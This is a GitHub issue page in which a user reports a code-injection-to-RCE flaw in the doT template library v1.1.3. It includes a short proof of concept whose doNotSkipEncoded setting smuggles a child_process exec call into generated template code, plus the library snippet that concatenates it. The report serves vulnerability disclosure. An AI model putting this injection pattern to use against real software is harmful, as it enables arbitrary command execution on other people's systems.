Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

in this library, there is a 'Code Injection to RCE' vuln #321

Open
shyeun opened this issue Nov 29, 2023 · 0 comments
Open

in this library, there is a 'Code Injection to RCE' vuln #321

shyeun opened this issue Nov 29, 2023 · 0 comments

Comments

@shyeun
Copy link

shyeun commented Nov 29, 2023

i found doT library v1.1.3
this is a poc

const doT = require('dot');


doT.templateSettings = {
  evaluate: /\{\{([\s\S]+?(\}?)+)\}\}/g,
  interpolate: /\{\{=([\s\S]+?)\}\}/g,
  encode: /\{\{!([\s\S]+?)\}\}/g,
  use: /\{\{#([\s\S]+?)\}\}/g,
  define: /\{\{##\s*([\w\.$]+)\s*(\:|=)([\s\S]+?)#\}\}/g,
  conditional: /\{\{\?(\?)?\s*([\s\S]*?)\s*\}\}/g,
  iterate: /\{\{~\s*(?:\}\}|([\s\S]+?)\s*\:\s*([\w$]+)\s*(?:\:\s*([\w$]+))?\s*\}\})/g,
  varname: 'it',
  strip: true,
  append: true,
  selfcontained: false,
  doNotSkipEncoded: `123));process.mainModule.constructor._load('child_process').exec('calc.exe');((11`,
};
const template = doT.template(`
{{!it.exploit}} 
`)

const data = {
  exploit: 'exploit',
  };

const result = template(data);
console.log(result)

if code use encode options, then doNotSkipEncoded's value is input in this code(node_modules/dot/doT.js).

...
if (needhtmlencode) {
			if (!c.selfcontained && _globals && !_globals._encodeHTML) _globals._encodeHTML = doT.encodeHTMLSource(c.doNotSkipEncoded);
			str = "var encodeHTML = typeof _encodeHTML !== 'undefined' ? _encodeHTML : ("
				+ doT.encodeHTMLSource.toString() + "(" + (c.doNotSkipEncoded || '') + "));"
				+ str;
		}
...

if you have other opinion, i want talk about this vuln whit you.
thank you

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant